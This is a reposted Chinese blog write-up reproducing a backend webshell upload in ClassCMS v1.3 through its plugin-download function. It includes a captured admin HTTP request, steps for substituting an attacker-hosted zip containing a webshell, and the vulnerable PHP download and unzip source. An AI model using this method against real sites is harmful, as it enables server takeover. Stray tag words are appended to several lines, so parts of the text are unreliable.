ClassCMS 後臺getshell 復現

文章轉載至Starsnow安全團隊公衆號javascript

(最後面有公衆號二維碼哦!:))​php

ClassCMS 簡介

ClassCMS 官網 :https://classcms.com/

ClassCMS是一款簡潔靈活的開源內容管理系統,能夠很是方便的經過它來快速開發各類網站應用.java

兼容PHP5.2--PHP8.0,在APACHE、NGINX、IIS上都能使用,默認支持MySQL SQLite兩種數據庫,支持上百萬數據量。ajax

系統沒有多餘的功能,總體安裝包不到1M(去掉編輯器與Layui後不到300KB),擁有完善與靈活的應用插件機制,經常使用功能都可製做成應用插件.shell

系統模板語言簡單,只須要懂HTML+CSS便可製做簡單的網站模板.數據庫

後臺頁面基於Layui製做,自適應頁面,在手機端也有不錯的使用體驗.json

經過後臺模型,能夠快速增長欄目,支持無限級欄目,欄目網址支持中文.安全

擁有各種輸入框類型,能快速擴展文章字段,欄目變量,用戶屬性,經過應用插件也可方便的擴展製做各種輸入框.服務器

後臺有完善的權限體系,可自定義每一個角色的權限,,可自定義欄目與輸入框與的查看修改權限.app

ClassCMS 後臺Getshell 黑盒測試復現

ClassCMS下載最新版本 v1.3

程序下載解壓事後以下圖

搭建環境並啓動

配置好配置



打開應用管理--應用商店

隨便點擊某個應用進行下載

點擊下載時進行抓包

獲取一下返回包

這個時候會返回一個插件下載地址

繼續Forward

POST /admin/?do=shop:downloadClass&ajax=1 HTTP/1.1
Host: 192.168.253.1:8013
Content-Length: 142
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.253.1:8013
Referer: http://192.168.253.1:8013/admin/?do=shop:index&bread=304%E7%BC%93%E5%AD%98%E6%8F%92%E4%BB%B6&action=detail&classhash=cache304
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_43f1a9=53f68d86f94ad3c93551924e77d0e91a; csrf_43f1a9=5f5244ce
Connection: close
​
classhash=cache304&url=http%3A%2F%2Fclasscms.com%2Fshop%2F%3Faction%3Ddownload%26version%3D1.0%26classhash%3Dcache304%26token%3D&csrf=5f5244ce

向 /admin/?do=shop:downloadClass&ajax=1 POST 了一個插件地址和插件名稱

新建一個小馬並壓縮

上傳到服務器,並可以下載的地方,也能夠在網站處尋找文件上傳的地方

修改網址爲壓縮包的地址

而後訪問

http://192.168.253.1:8013/class/cache304/index.php

已經成功上傳了小馬

ClassCMS 後臺Getshell 白盒測試復現

直接查看/class/shop/shop.php 的第82行

直接調用了this:download函數

function download($url,$filepath) {
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
if(!$fp = @fopen ($filepath,'w+')) {
Return false;
}
curl_setopt($curl,CURLOPT_FILE, $fp);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curl,CURLOPT_TIMEOUT,300);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
$info=curl_exec($curl);
$httpinfo=curl_getinfo($curl);
curl_close($curl);
fclose($fp);
if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}
Return $info;
}
}

而後再到92行

if(C('cms:class:unzip',$classfile,$classdir)) {
@unlink($classfile);
if(C('cms:class:refresh',$classhash)) {
echo(json_encode(array('msg'=>"下載完成,請在應用管理頁面中安裝此應用")));
Return ;
}else {
echo(json_encode(array('msg'=>"安裝包格式錯誤,請重試",'error'=>1)));
Return ;
}
}else{
@unlink($classfile);
echo(json_encode(array('msg'=>"安裝包解壓失敗,請重試",'error'=>1)));
Return ;
}

調用了/cms/class.php 下面的unzip方法

function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true) 
{
if(class_exists('ZipArchive')) {
$zip = new ZipArchive;
if ($zip->open($src_file) === TRUE)
{
if(@$zip->extractTo($dest_dir)) {
$zip->close();
Return true;
}
$zip->close();
}
}elseif(function_exists('zip_open')) {
if(!cms_createdir($dest_dir)) {
Return false;
}
if ($zip = zip_open($src_file)){
if ($zip){
if($create_zip_name_dir){
$splitter='.';
}else {
$splitter='/';
}
if ($dest_dir === false){
$dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";
}
while ($zip_entry = @zip_read($zip)){
$pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
if ($pos_last_slash !== false)
{
cms_createdir($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
}
if (zip_entry_open($zip,$zip_entry,"r")){
$file_name = $dest_dir.zip_entry_name($zip_entry);
if ($overwrite === true || $overwrite === false && !is_file($file_name)){
$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
@file_put_contents($file_name, $fstream);
}
zip_entry_close($zip_entry);
}
}
@zip_close($zip);
}
Return true;
}
}
Return false;
}

直接就會將下載的文件進行解壓,從而構成後臺getshell

相關文章
相關標籤/搜索